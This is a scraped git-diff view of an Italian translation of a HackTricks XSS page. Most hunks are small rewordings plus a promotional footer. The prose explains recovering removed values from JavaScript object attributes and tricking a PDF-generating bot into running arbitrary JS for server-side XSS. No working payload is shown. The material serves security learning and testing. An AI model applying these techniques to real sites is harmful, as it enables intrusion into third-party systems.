Da [**questo articolo**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) è possibile apprendere che anche se alcuni valori scompaiono da JS, è comunque possibile trovarli negli attributi JS in diversi oggetti. Ad esempio, un input di un REGEX è ancora possibile trovarlo dopo che il valore dell'input del regex è stato rimosso:
|
||||
```javascript
|
||||
|
@ -1329,7 +1347,7 @@ Maggiori informazioni su questa tecnica qui: [**XSLT**](../xslt-server-side-inje
|
|||
### XSS in PDF creati dinamicamente
|
||||
|
||||
Se una pagina web crea un PDF utilizzando input controllati dall'utente, puoi provare a **ingannare il bot** che sta creando il PDF per **eseguire codice JS arbitrario**.\
|
||||
Quindi, se il **bot creatore di PDF trova** dei **tag HTML**, li **interpreterà**, e puoi **abusare** di questo comportamento per causare un **Server XSS**.
|
||||
Quindi, se il **bot creatore del PDF trova** dei **tag HTML**, li **interpreterà**, e puoi **abusare** di questo comportamento per causare un **Server XSS**.
|
||||
|
||||
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
|
||||
[server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md)
|
||||
|
@ -1431,11 +1449,11 @@ Se sei interessato a una **carriera nel campo dell'hacking** e vuoi hackerare l'
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking su AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
Loading…
Reference in a new issue